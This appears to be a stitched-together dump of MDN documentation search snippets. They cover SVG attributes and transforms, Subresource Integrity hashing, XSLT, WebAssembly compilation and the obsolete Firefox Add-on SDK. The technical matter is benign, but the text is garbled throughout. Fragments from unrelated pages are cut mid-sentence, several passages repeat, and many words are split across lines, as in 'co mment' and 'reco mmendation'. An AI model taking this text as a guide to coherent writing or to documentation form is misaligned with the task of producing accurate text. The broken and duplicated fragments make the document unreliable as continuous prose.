if an odd number of values is provided, then the list of values is repeated to yield an even number of values. thus, 5,3,2 is equivalent to 5,3,2,5,3,2. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to...
... ? firefox android ? opera android ? safari ios ? samsung internet android ? ...
...fari ios ? samsung internet android ? ...
... compatibility unknown specification specification status co
mment scalable vector graphics (svg) 2the definition of 'stroke-dasharray' in that specification. ...
target - SVG: Scalable Vector Graphics
e same frame as the current svg image. note: this value was never well implemented, and the distinction between _replace and _self has been made redundant by changes in the html definition of browsing contexts. use _self to replace the current svg document. _self the current svg image is replaced by the linked content in the same browsing context as the current svg image. _parent the i
mmediate parent browsing context of the svg image is replaced by the linked content, if it exists and can be securely accessed from this document. _top the content of the full active window or tab is replaced by the linked content, if it exists and can be securely accessed from this document _blank a new un-named window or tab is requested for the display of the linked content, if this document ...
...ssed from this document, it is re-used, replacing the existing content. if it does not exist, it is created (the same as '_blank', except that it now has a name). ...
...as '_blank', except that it now has a name). the name must be a valid xml name [xml11], and should not start with an underscore (u+005f low line character), to meet the requirements of a valid browsing context name from html. ...
... meet the requirements of a valid browsing context name from html. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'target' in that specification. candidate reco
mmendation removed the _replace value. ...
text-decoration - SVG: Scalable Vector Graphics
coration="line-through">struck-through text</text> </svg> usage notes value <'text-decoration-line'> || <'text-decoration-style'> || <'text-decoration-color'> default value see individual properties animatable yes for a description of the values, please refer to the css text-decoration property. ...
...ecoration-style'> || <'text-decoration-color'> default value see individual properties animatable yes for a description of the values, please refer to the css text-decoration property. specifications specification status co
mment css text decoration module level 3the definition of 'text-decoration' in that specification. candidate reco
mmendation defines the property as a shorthand for text-decoration-line, text-decoration-style, and text-decoration-color. ...
...pecification status co
mment css text decoration module level 3the definition of 'text-decoration' in that specification. candidate reco
mmendation defines the property as a shorthand for text-decoration-line, text-decoration-style, and text-decoration-color. scalable vector graphics (svg) 2the definition of 'text-decoration' in that specification. candidate reco
mmendation mainly refers to the definition in css text decoration 3 turning the property into a shorthand for text-decoration-line and text-decoration-style. scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-decoration' in that specification. ...
... scalable vector graphics (svg) 2the definition of 'text-decoration' in that specification. candidate reco
mmendation mainly refers to the definition in css text decoration 3 turning the property into a shorthand for text-decoration-line and text-decoration-style. ...
u1 - SVG: Scalable Vector Graphics
how to express individual unicode characters) and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair. if a given unicode character within the set has multiple corresponding <glyph> elements (i.e., there are multiple <glyph> elements with the same unicode attribute value but different glyph-name values), then all such glyphs are included in the set. co
mma is the separator character; thus, to kern a co
mma, specify the co
mma as part of a range of unicode characters or as a glyph name using the g1 attribute. the total set of possible first glyphs in the kerning pair is the union of glyphs specified by the u1 and g1 attributes. two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# ...
...glyph name using the g1 attribute. the total set of possible first glyphs in the kerning pair is the union of glyphs specified by the u1 and g1 attributes. ...
...nd <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a co
mma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair. ...
... no [ <character> | <urange> ]# this value indicates a co
mma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair. ...
u2 - SVG: Scalable Vector Graphics
ow to express individual unicode characters) and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair. if a given unicode character within the set has multiple corresponding <glyph> elements (i.e., there are multiple <glyph> elements with the same unicode attribute value but different glyph-name values), then all such glyphs are included in the set. co
mma is the separator character; thus, to kern a co
mma, specify the co
mma as part of a range of unicode characters or as a glyph name using the g2 attribute. the total set of possible second glyphs in the kerning pair is the union of glyphs specified by the u2 and g2 attributes. two elements are using this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# ...
...lyph name using the g2 attribute. the total set of possible second glyphs in the kerning pair is the union of glyphs specified by the u2 and g2 attributes. ...
...d <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]# this value indicates a co
mma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair. ...
... no [ <character> | <urange> ]# this value indicates a co
mma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair. ...
viewBox - SVG: Scalable Vector Graphics
the viewbox attribute defines the position and dimension, in user space, of an svg viewport. the value of the viewbox attribute is a list of four numbers: min-x, min-y, width and height. the numbers separated by whitespace and/or a co
mma, which specify a rectangle in user space which is mapped to the bounds of the viewport established for the associated svg element (not the browser viewport). html,body,svg { height:100% } svg:not(:root) { display: inline-block; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- with relative unit such as percentage, the visual size of the square looks unchanged regardless of the viewbox --> <rect x="0" y="0" width="100%" height="100%"/> <!-- with a large viewbox the circle looks small as it is using user units for ...
... value <number>?, <number>?, <number>?, <number> default value none animatable yes view for <view>, viewbox defines the position and dimension for the content of the <view> element. ...
... view for <view>, viewbox defines the position and dimension for the content of the <view> element. ...
...number>?, <number>?, <number> default value none animatable yes specification specification status co
mment scalable vector graphics (svg) 2the definition of 'viewbox' in that specification. ...
<metadata> - SVG: Scalable Vector Graphics
lug"/> </g> <g id="socket4" transform="translate(160 20)"> <title>socket 4</title> <use xlink:href="#hubplug"/> </g> <g id="socket5" transform="translate(205 20)"> <title>socket 5</title> <use xlink:href="#hubplug"/> </g> </g> </symbol> <!-- computer symbol --> <symbol id="computer"> <desc>a co
mmon desktop pc</desc> <g id="monitorstand" transform="translate(40 121)"> <title>monitor stand</title> <desc>one of those cool swivelling monitor stands that sit under the monitor</desc> <path d="m0,0 s 10 10 40 12"/> <path d="m80,0 s 70 10 40 12"/> <path d="m0,20 l 10 10 s 40 12 70 10 l 80 20z"/> </g> <g id="monitor"> <title>monitor...
...slate(142 88)"> <title>cable b</title> <desc>10baset twisted pair cable</desc> <path d="m0,0c100,180 110,160 159,160"/> </g> <!-- draw cable n. ...
...59,160"/> </g> <!-- draw cable n. ...
...0,-70 20,-50 60,-50"/> </g> </svg> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<metadata>' in that specification. candidate reco
mmendation allowed global event attributes on the element. ...
Basic Transformations - SVG: Scalable Vector Graphics
iful images. but first, let's formally introduce the <g> element. with this helper, you can assign properties to a complete set of elements. actually, that's its only purpose. an example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> all following transformations are su
mmed up in an element's transform attribute. transformations can be chained simply by concatenating them, separated by whitespace. translation it may be necessary to move an element around, even though you can position it with the according attributes. for this purpose, the translate() transformation stands ready. <svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" w...
...or this purpose, the translate() transformation stands ready. <svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40)" /> </svg> the example will render a rectangle, translated to the point (30,40) instead of (0,0). if the second value is not given, it is assumed to be 0. rotation rotating an element is quite a co
mmon task. use the rotate() transformation for this: <svg width="31" height="31"> <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /> </svg> this example shows a square that is rotated by 45 degrees. the value for rotate() is given in degrees. multiple transformations transformations can be concatenated easily just by separating them with spaces. for example, translate...
...e() transformation for this: <svg width="31" height="31"> <rect x="12" y="-10" width="20" height="20" transform="rotate(45)" /> </svg> this example shows a square that is rotated by 45 degrees. the value for rotate() is given in degrees. multiple transformations transformations can be concatenated easily just by separating them with spaces. for example, translate() and rotate() are co
mmon used transformations. <svg width="40" height="50" style="background-color:#bff;"> <rect x="0" y="0" width="10" height="10" transform="translate(30,40) rotate(45)" /> </svg> this example shows again the small square shown above that this time is also rotated by 45 degrees. skewing to make a rhombus out of our rectangle, the skewx() and skewy() transformations are available. each one t...
...ys+eynewcoordsys=bxprevcoordsys+dyprevcoordsys+f\left{ \begin{matrix} x_{\mathrm{prevcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{prevcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right. see a concrete example on the svg transform documentation. detailed information about this property can be found in the svg reco
mmendation. effects on coordinate systems when using transformations you establish a new coordinate system inside the element the transformations apply to. that means, the units you specify for the element and its children might not follow the 1:1 pixel mapping, but are also distorted, skewed, translated and scaled according to the transformation. <svg width="100" height="100"> <g transform="...
Subresource Integrity - Web security
cy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc so oqvuafxrkap7fdgccy5uykm6+r9gqq8k/uxy9rx7hnqlgyl1kpzqho1wx4jwy8wc is the "hash" part, and the prefix sha384 indicates that it's a sha384 hash. note: an integrity value's "hash" part is, strictly speaking, a cryptographic digest formed by applying a particular hash function to some input (for example, a script or stylesheet file). ...
...it's a sha384 hash. note: an integrity value's "hash" part is, strictly speaking, a cryptographic digest formed by applying a particular hash function to some input (for example, a script or stylesheet file). but it’s co
mmon to use the shorthand "hash" to mean cryptographic digest, so that's what's used in this article. tools for generating sri hashes you can generate sri hashes from the co
mmand-line with openssl using a co
mmand invocation such as this: cat filename.js | openssl dgst -sha384 -binary | openssl base64 -a or with shasum using a co
mmand invocation such as this: shasum -b -a 384 filename.js | awk '{ print $1 }' | xxd -r -p | base64 notes: the pipe-through-xxd step takes the hexadecimal output from shasum and converts it to binary. the pipe-through-awk step is nec...
...o ensure the origin serving the resource allows it to be shared with the requesting origin. ...
...it to be shared with the requesting origin. ...
An Overview - XSLT: Extensible Stylesheet Language Transformations
espite the fact that very often namespaces appear to be uris, they do not, in fact, refer to a resource located at that address. instead they are simply a way of specifying a unique identifier for a known set of elements. the string "http://www.w3.org/1999/xsl/transform" is a constant that designates the elements so marked as belonging to the set of tags designated by the w3c in the 1999 xslt reco
mmendation. another string that is occasionally seen in stylesheets, "http://www.w3.org/tr/wd-xsl", indicates compliance with an earlier working draft (hence the wd) of the w3c document. this latter namespace is not compatible with the one that the w3c eventually adopted and is not supported by netscape. because typing "http://www.w3.org/1999/xsl/transform" repeatedly would be tedious and would re...
...cessor. :netscape's uses a structure similar to the w3c dom as its tree structure, but others are possible. the only requirements concern the disposition of objects in the tree, their properties, and their relationships. the tree consists of a hierarchical framework of nodes. it can be made up of seven different types of nodes: the single root node, element nodes, text nodes, attribute nodes, co
mment nodes, processing instruction nodes, and namespace nodes. at the top of the tree is the root node. the root node does not correspond to any individual part of the xml document: it represents the document as whole. below the root node are its children, which can be elements, co
mments, processing instructions and so on. some of those children may also have children. and this can continue for s...
...d in this specific way and end up in this specific position in the result tree. the particulars of how this is to be accomplished are left up to the processor. because the order of execution of the stylesheet cannot be guaranteed, xslt does not support any functionality that produces side-effects. in this it is like lisp or scheme. locations on the tree are specified using xpath, another w3c reco
mmendation. transformations depend on the processor's being able to pinpoint individual nodes on the tree. to facilitate this, the w3c decided to use a separate language, xpath, which also has uses outside the xslt context. as its name implies, xpath defines a "path" the processor must take through the tree to arrive at the desired node. this path consists of xpath-specific expressions to be evalua...
...e xslt context. as its name implies, xpath defines a "path" the processor must take through the tree to arrive at the desired node. this path consists of xpath-specific expressions to be evaluated, expressions which may include a number of conditions to be matched, a way of associating nodes, and/or an indication of directionality within the tree. a fuller description of the parts of xpath most co
mmonly used in xslt follows in the reference section. potential conflicts in template matching are resolved by using a set of cascading precedence rules. in general, a more specific template rule takes precedence over a less specific one and, other things being equal, a template rule that appears later in the document takes precedence over one that appears earlier. stylesheets can be attached to ...
For Further Reading - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt print books xslt: progra
mmer's reference, second edition author: michael h. kay length: 992 pages publisher: wrox; 2 edition (may 3, 2001) isbn: 0764543814 michael kay is a member of the w3c xsl working group and the developer of his own open-source xslt processor, saxon. he is also the author of the only book on this subject to have reached a second edition. this is a very big book, well laid out, and exhaustive, if sometimes exhausting, in detail, covering every possible base in the xslt story. ...
...14 michael kay is a member of the w3c xsl working group and the developer of his own open-source xslt processor, saxon. he is also the author of the only book on this subject to have reached a second edition. this is a very big book, well laid out, and exhaustive, if sometimes exhausting, in detail, covering every possible base in the xslt story. http://www.amazon.com/xslt-progra
mme.../dp/0764543814 xslt author: doug tidwell length: 473 pages publisher: o'reilly media; 1 edition (august 15, 2001) isbn: 0596000537 doug tidwell is a senior developer at ibm and a prominent evangelist for xml technologies generally. he is the author of several articles and tutorials on various aspects of xml at ibm's extensive xml developer site. this book is somewhat less c...
...her: o'reilly media; 2 edition (september 22, 2003) isbn: 0596004206 as the title indicates, this is an overview of xml generally. chapter 6 is devoted specifically to xslt. http://www.amazon.com/gp/product/0596004206 digital websites world wide web consortium the w3c homepage: http://www.w3.org/ the main xsl page: http://www.w3.org/style/xsl/ the version 1.0 reco
mmendation for xslt: http://www.w3.org/tr/xslt archive of public style (css and xslt) discussions: http://lists.w3.org/archives/public/www-style/ the version 1.0 reco
mmendation for xpath: http://www.w3.org/tr/xpath the world wide web consortium is the body that publishes reco
mmendations for a number of web-based technologies, many of which become the de-facto standard. articles...
... articles hands-on xsl author: don r. day location: http://www-106.ibm.com/developerwork...-hands-on-xsl/ understanding xslt author: jay greenspan location: http://hotwired.lycos.com/webmonkey/...l?tw=authoring what is xslt? author: g. ...
Compiling a New C/C++ Module to WebAssembly - WebAssembly
example to compile. take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following co
mmand: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the co
mmand are as follows: -s wasm=1 — specifies that we want wasm output. if we don’t specify this, emscripten will just output asm.js, as it does by default. -o hello.html — specifies that we want emscripten to generate an html page to run our code in (and a filename to use), as well as the wasm module ...
...lo2.c, in a new directory: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } search for the file shell_minimal.html in your emsdk repo. copy it into a sub-directory called html_template inside your previous new directory. now navigate into your new directory (again, in your emscripten compiler environment terminal window), and run the following co
mmand: emcc -o hello2.html hello2.c -o3 -s wasm=1 --shell-file html_template/shell_minimal.html the options we've passed are slightly different this time: we've specified -o hello2.html, meaning that the compiler will still output the javascript glue code and .html. we've also specified --shell-file html_template/shell_minimal.html — this provides the path to the html template you ...
...ve passed are slightly different this time: we've specified -o hello2.html, meaning that the compiler will still output the javascript glue code and .html. we've also specified --shell-file html_template/shell_minimal.html — this provides the path to the html template you want to use to create the html you will run your example through. now let's run this example. the above co
mmand will have generated hello2.html, which will have much the same content as the template with some glue code added into load the generated wasm, run it, etc. open it in your browser and you'll see much the same output as the last example. note: you could specify outputting just the javascript "glue" file* rather than the full html by specifying a .js file instead of an html file in the -o f...
...ction if you are using c++. now add html_template/shell_minimal.html into this new directory too, just for convenience (you'd obviously put this in a central place in your real dev environment). now let's run the compilation step again. from inside your latest directory (and while inside your emscripten compiler environment terminal window), compile your c code with the following co
mmand. (note that we need to compile with no_exit_runtime, which is necessary as otherwise when main() exits the runtime would be shut down — necessary for proper c emulation, e.g., atexits are called — and it wouldn't be valid to call compiled code.) emcc -o hello3.html hello3.c -o3 -s wasm=1 --shell-file html_template/shell_minimal.html -s no_exit_runtime=1 -s "extra_exported_runtime_metho...
Using the WebAssembly JavaScript API - WebAssembly
argument is specified in units of webassembly pages: memory.grow(1); if a maximum value was supplied upon creation of the memory instance, attempts to grow past this maximum will throw a webassembly.rangeerror exception. the engine takes advantage of this supplied upper-bounds to reserve memory ahead of time, which can make resizing more efficient. note: since an arraybuffer’s bytelength is i
mmutable, after a successful memory.prototype.grow() operation the buffer getter will return a new arraybuffer object (with the new bytelength) and any previous arraybuffer objects become “detached”, or disconnected from the underlying memory they previously pointed to. just like functions, linear memories can be defined inside a module or imported. similarly, a module may also optionally expor...
...and their indexes, which are integers and can be stored in linear memory, are passed around instead. when the time comes to call a function pointer, the webassembly caller supplies the index, which can then be safety bounds checked against the table before indexing and calling the indexed function reference. ...
... a table example let’s look at a simple table example — a webassembly module that creates and exports a table with two elements: element 0 returns 13 and element 1 returns 42. you can find this at table.wasm. make a local copy of table.wasm in a new directory. ...
...mplement c function pointers. future versions of webassembly may allow 0–n table instances per module instance. one memory or table instance can be used by 0–n module instances — these instances all share the same address space, allowing dynamic linking. you can see multiplicity in action in our understanding text format article — see the mutating tables and dynamic linking section. su
mmary this article has taken you through the basics of using the webassembly javascript api to include a webassembly module in a javascript context and make use of its functions, and how to use webassembly memory and tables in javascript. we also touched on the concept of multiplicity. ...
Cross-domain Content Scripts - Archive of obsolete content
ment.getelementbyid("mp-tfa"); self.postmessage(todaysfeaturedarticle.textcontent); for this to work, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://en.m.wikipedia.org/"] } the add-on should successfully retrieve the iframe's content. cross-domain xmlhttprequest the following add-on creates a panel whose content is the su
mmary weather forecast for shetland. if you want to try it out, you'll need to register and get an api key. the "main.js": creates a panel whose content is supplied by "panel.html" and adds a content script "panel-script.js" to it sends the panel a "show" message when it is shown adds a button which shows the panel when it is clicked // main.js var data = require("sdk/self").data; var forec...
...how", function(){ forecast_panel.port.emit("show"); }); require("sdk/ui/button/action").actionbutton({ id: "get-forecast", label: "get the forecast", icon: "./icon-16.png", onclick: function() { forecast_panel.show(); } }); the "panel.html" just includes a <div> block for the forecast: <!doctype html> <!-- panel.html --> <html> <head></head> <body> <div id="forecast_su
mmary"></div> </body> </html> the "panel-script.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse =...
...ript.js" uses xmlhttprequest to fetch the latest forecast: // panel-script.js var url = "http://datapoint.metoffice.gov.uk/public/data/txt/wxfcs/regionalforecast/json/500?key=your-api-key"; self.port.on("show", function () { var request = new xmlhttprequest(); request.open("get", url, true); request.onload = function () { var jsonresponse = json.parse(request.responsetext); var su
mmary = getsu
mmary(jsonresponse); var element = document.getelementbyid("forecast_su
mmary"); element.textcontent = su
mmary; }; request.send(); }); function getsu
mmary(forecast) { return forecast.regionalfcst.fcstperiods.period[0].paragraph[0].$; } finally, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://datapoint.
Content Processes - Archive of obsolete content
e code associated with a single tab. conversely, an add-on process was supposed to run all the code associated with a single add-on. neither content or add-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind. to understand this article, it's probably best to read it as if content and add-on processes actually exist. ...
...-on proceses were ever actually implemented, but by the time they were cancelled, the sdk was already designed with them in mind. to understand this article, it's probably best to read it as if content and add-on processes actually exist. to co
mmunicate between add-on and content processes, the sdk uses something called content scripts. these are explained in the first section. content scripts co
mmunicate with add-on code using something called event emitters. these are explained in the next section. content workers combine these ideas, allowing you to inject a content script into a content process, and automatically set up a co
mmunication channel between them. these are explained in the third section. in the next section, we will look at how content scripts interact with the dom in a cont...
...itself. this feature should only be used when you really need it, however. a few notes on security as we stated earlier, the sdk was designed with multiprocess support in mind, despite the fact that work on implementing this in firefox has currently been suspended. since both add-on modules and content scripts are currently loaded in sandboxes rather than separate processes, and sandboxes can co
mmunicate with each other directly (using imports/exports), you might be wondering why we have to go through all the trouble of passing messages between add-on and content scripts. the reason for this extra complexity is that the code for add-on modules and content scripts have different privileges. every add-on module can get chrome privileges simply by asking for them, whereas content scripts have...
Testing the Add-on SDK - Archive of obsolete content
ike cfx test would. the majority of the tests run here are module unit tests, but there are various other tests included here as well. note: you must remember to run source bin/activate in order to enable cfx first. with jpm jpm tests all use the new toolkit/loader. ...
...pm tests all use the new toolkit/loader. with jpm (which is not part of the add-on sdk repo, and must be installed separately) things more difficult without the gulp co
mmands provided by the gulpscript.js file in the addon-sdk repo. with gulp installed, and after installing the addon-sdk's npm dependencies, we can run the latter three test suites mentioned for cfx with jpm using the following co
mmands: gulp test:examples --filter <addon_example_folder_name> gulp test:addons --filter <addon_folder_name> gulp test:modules --filter <file_name>:<test_name> or run all of the tests with gulp test. with travis if you merely make a pull request for the mozilla/addon-sdk then all of the jpm tests mentioned above will be run on travis-ci automatically and you will see the pass/fail results ...
...ioned above will be run on travis-ci automatically and you will see the pass/fail results with a link to the log in the github pull request. only on a linux machine at the moment. from mozilla-central repository with a checkout of the mozilla-central source code, one can always cd addon-sdk/source and use any of the methods described above, but in addtion to that there are a couple of mach co
mmands available, and ofcourse there is the try server if you have access to that. with mach there are two co
mmands: ./mach mochitest -f jetpack-addon <optional_addon_path>: this runs the test add-ons mentioned for cfx testaddons and gulp test:addons with the older sdk/loader/cuddlefish used with cfx. ./mach mochitest -f jetpack-package <optional_file_path>: this runs the module unit tests m...
Two Types of Scripts - Archive of obsolete content
to use a content script. so there are two distinct sorts of javascript scripts you might include in your add-on and they have access to different sets of apis. in the sdk documentation we call one sort "add-on code" and the other sort "content scripts". add-on code this is the place where the main logic of your add-on is implemented. your add-on is implemented as a collection of one or more co
mmonjs modules. each module is supplied as a script stored under the lib directory under your add-on's root directory. minimally you'll have a single module implemented by a script called "main.js", but you can include additional modules in lib, and import them using the require() function. to learn how to implement and import your own modules, see the tutorial on implementing reusable modules. co...
...s such as page-mod and panel. content scripts may be supplied as literal strings or maintained in separate files and referenced by filename. if they are stored in separate files you should store them under the data directory under your add-on's root. to learn all about content scripts read the working with content scripts guide. api access for add-on code and content scripts the table below su
mmarizes the apis that are available to each type of script. api add-on code content script the global objects defined in the core javascript language, such as math, array, and json. see the reference at mdn. ✔ ✔ the require() and exports globals defined by version 1.0 of the co
mmonjs module specification. you use require() to import func...
...to import functionality from another module, and exports to export functionality from your module. if require() is available, then so are the modules supplied in the sdk. ✔ ✘ the console global supplied by the sdk. ✔ ✔ globals defined by the html5 specification, such as window, document, and localstorage. ✘ ✔ the self global, used for co
mmunicating between content scripts and add-on code. see the guide to co
mmunicating with content scripts for more details. ✘ ✔ ...
XUL Migration Guide - Archive of obsolete content
s, buttons, and toolbars. because sdk-based extensions are restartless, they can't use xul overlays. to add user interface components to the browser, there are a few different options. in order of complexity, the main options are: the sdk includes modules that implement some basic user interface components including buttons, dialogs, and context menu items. there is a collection of co
mmunity-developed modules that includes various user interface components. by using the sdk's low-level apis you can directly modify the browser chrome. xul windows xul windows are used to define completely new windows to host user interface elements specific to the add-on. the sdk generally expects you to specify your user interface using html, not xul. however, you can include a chrome...
... code that uses xpcom objects, code that manipulates the browser chrome, and code that interacts with web pages all runs in the same context. but the sdk makes a distinction between: add-on scripts, which can use the sdk apis, but are not able to interact with web pages content scripts, which can access web pages, but do not have access to the sdk's apis content scripts and add-on scripts co
mmunicate by sending each other json messages: in fact, the ability to co
mmunicate with the add-on scripts is the only extra privilege a content script is granted over a normal remote web page script. a xul-based add-on will need to be reorganized to respect this distinction. the main reason for this design is security: it reduces the risk that a malicious web page will be able to access privilege...
...organized to respect this distinction. the main reason for this design is security: it reduces the risk that a malicious web page will be able to access privileged apis. there's much more information on content scripts in the working with content scripts guide. using the supported apis the sdk provides a set of high level apis providing some basic user interface components and functionality co
mmonly required by add-ons. because we expect to keep these apis compatible as new versions of firefox are released, we call them the "supported" apis. see the tutorials and the high-level api reference. if the supported apis do what you need, they're the best option: you get the benefits of compatibility across firefox releases and of the sdk's security model. apis like ui and panel are very gene...
simple-prefs - Archive of obsolete content
alue" }, { "description": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of attributes. there are: mandatory attributes that all preferences must have optional attributes attributes that are specific to the preference's data type mandatory co
mmon attributes these are attributes that all preferences must have. attribute description type the type of preference, as defined in the "preference types" section below. name an identifier for the preference. this is used to access the preference from your add-on: console.log(require("sdk/simple-prefs").prefs.mysettingname); this means that it m...
...e "preference types" section below. name an identifier for the preference. this is used to access the preference from your add-on: console.log(require("sdk/simple-prefs").prefs.mysettingname); this means that it must be a valid javascript identifier. title this is used as a label for the preference in the add-ons manager user interface. optional co
mmon attributes these are attributes that all preferences may have: attribute description description this appears below the preference title in the add-ons manager ui. value a default value for the preference. depending on the preference type, this may be an integer, string, or boolean value. hidden a boolean value which, if present a...
...le.log("hello"); }); localization using the sdk's localization system, you can provide translated forms of the title and description attributes. see the localization tutorial for more details. getting and setting preferences unless you've marked them as hidden, the user will be able to see and change the preferences in the add-on manager. you can also see them and change them progra
mmatically using the prefs property, and listen for changes to a preference using on(). simple-prefs in the preferences system preferences defined using simple-prefs are stored in the firefox preferences system alongside all the other preferences. this means that they're visible in about:config, and they can be accessed using the global simple-preferences module. by default, simple preferences are...
core/promise - Archive of obsolete content
rationale most of the js apis are asynchronous complementing its non-blocking nature. while this has a good reason and many advantages, it comes with a price. ...
... represents a eventual result, either successful or failed. this object is a promise, both figuratively and by name, to eventually resolve. we can call a function on the promise to observe either its fulfillment or rejection. if the promise is rejected and the rejection is not explicitly observed, any derived promises will be implicitly rejected for the same reason. in the add-on sdk we follow co
mmonjs promises/a specification and model a promise as an object with a then method, which can be used to get the eventual return (fulfillment) value or thrown exception (rejection): foo().then(function success(value) { // ... }, function failure(reason) { // ... }); if foo returns a promise that gets fulfilled with the value, success callback (the value handler) will be called with that value...
...t { all } = require('sdk/core/promise'); all([aasync, failasync, basync]).then(function (result) { // success function will not be called return result; }, function (reason) { // rejection handler called because `failasync` promise // was rejected with its reason propagated return reason; }); making promises everything above assumes you get a promise from somewhere else. this is the co
mmon case, but every once in a while, you will need to create a promise from scratch. add-on sdk's promise module provides an api for doing that. defer module exports defer function, which is where all promises ultimately come from. lets see the implementation of readasync that we used in several of the examples above: const { defer } = require('sdk/core/promise'); function readasync(url) { var...
remote/child - Archive of obsolete content
enables an sdk module loaded into a child process to access web content in the child process and co
mmunicate with modules in the main process. usage the sdk/remote/parent module enables sdk code to load modules into child processes. the sdk/remote/child module is for these "child process modules". it provides two main things: access to web content loaded into this child process port mechanisms to co
mmunicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process. each frame then has a content property that's the top-level dom window for the frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom eve...
... process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into this child process. each frame then has a content property that's the top-level dom window for the frame, and addeventlistener/removeeventlistener functions that enable you to listen to dom events dispatched by the frame. co
mmunicating with the parent process to co
mmunicate with the parent process, the process, frames, and frame objects in sdk/remote/child have a port object that you can use to receive messages from, and send messages to, code in the parent. see the documentation for sdk/remote/parent for more details. globals properties process a process object. frames a frames object. process a link to the ...
...isteners: const { frames } = require("sdk/remote/child"); frames.on("attach", function(frame) { console.log("new frame"); frame.addeventlistener("domcontentloaded", function(e) { console.log(e.target.location.href); }); }); detach triggered when a frame is removed (for example, the user closed a tab). frame a frame represents a content frame in this process and provides a way to co
mmunicate frame specific events to the main process. methods addeventlistener(event, listener, iscapturing) adds an event listener for dom events dispatched by this content frame. this can include load and unload events from any content that is loaded in the frame. listeners are automatically removed when this frame is destroyed. removeeventlistener(event, listener, iscapturing) removes an even...
remote/parent - Archive of obsolete content
lements. each frame loads in a process but sometimes the application may choose to switch from loading a tab in one process to another. in this case the frame for that tab changes. loading modules into the child process to load a module into the child process, use remoterequire(): const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); inter-process co
mmunication a module loaded into a different process cannot directly co
mmunicate or share state with the module that loaded it. instead, the two sides co
mmunicate using port objects like those used for co
mmunication with content scripts. the sdk/remote/parent module provides port objects for the parent's end of the conversation, and the sdk/remote/child module provides port objects for the child's...
...moterequire("./remote.js", module); // the first argument is the frame the message came from frames.port.on("pageshow", (frame) => { console.log(frame.frameelement.currenturi.host + ": pageshow"); }); globals functions remoterequire(id, module = null) loads a module in any existing and future child processes. the module loads asynchronously but you can start sending messages to the module i
mmediately. you can use an absolute path to the module or a relative path. if you use a relative path, you must use the module parameter. const { remoterequire } = require("sdk/remote/parent"); remoterequire("./my-module.js", module); note that even single-process applications have a process that contains content frames. for consistency and to make writing multiprocess compatible code easier, rem...
...emitter that sends messages to and receives messages from all frames. events attach event emitted when a new frame is created. the event handler is called with a frame representing the new frame. detach event emitted when a frame is removed. for example, the user might have closed a content tab. the event handler is called with the frame that detached. process a process provides a way to co
mmunicate with code running in one of the application's processes. properties port an event emitter that can be used to send and receive events to and from code running in the process. isremote a boolean property that indicates whether the attached process is remote from the main process. events detach event emitted when this process disconnects from the application. it may have been closed ...
test/assert - Archive of obsolete content
usage to use the assert module, write a set of unit tests following the instructions in the unit testing tutorial. each test will be passed an assert object when you run the tests using jpm test. you can use this object to make assertions about your program's state. for example: var a = 1; exports["test value of a"] = function(assert) { assert.ok(a == 1, "test that a is 1"); } require("sdk/test").run(exports); globals constructors assert(logger) create a new assert object. this function is only called by the unit test framework, and not by unit tests themselves. ...
...un(exports); globals constructors assert(logger) create a new assert object. this function is only called by the unit test framework, and not by unit tests themselves. parameters logger : object object used to log the results of assertions. assert an object used to make assertions about a program's state in order to implement unit tests. the assert object's interface is defined by the co
mmonjs unit testing specification, version 1.1. methods ok(guard, message) tests whether an expression evaluates to true. assert.ok(a == 1, "test that a is equal to one"); this is equivalent to: assert.equal(a == 1, true, "test that a is equal to one"); parameters guard : expression the expression to evaluate. message : string optional message to log, providing extra information about the...
